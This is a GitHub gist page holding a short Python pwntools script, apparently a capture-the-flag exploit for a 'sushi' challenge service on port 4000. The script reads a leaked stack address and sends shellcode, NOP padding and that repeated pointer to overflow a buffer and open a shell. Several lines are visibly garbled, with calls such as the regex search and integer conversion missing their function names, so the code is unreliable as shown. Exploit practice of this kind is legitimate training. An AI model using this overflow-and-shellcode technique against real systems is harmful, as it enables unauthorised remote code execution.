Skip to content

Instantly share code, notes, and snippets.

@m--- m---/ Secret
Last active Aug 29, 2015

What would you like to do?
# coding: utf-8
import os
import sys
import time
import re
import struct
import pwn
host = ''
port = 4000
shellcode = open('x64-linux-sh', 'rb').read()
p = lambda x: struct.pack('<Q', x)
s = pwn.remote(host, port)
result = s.recv()
matches ='Deposit money for sushi here: (0x[0-9a-f]+)', result)
ptr_str1 = int(, 16)'str1: 0x%x' % ptr_str1)
payload = shellcode + ((len(shellcode) % 8) * '\x90') + (p(ptr_str1) * 100)
s.send(payload + '\n')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.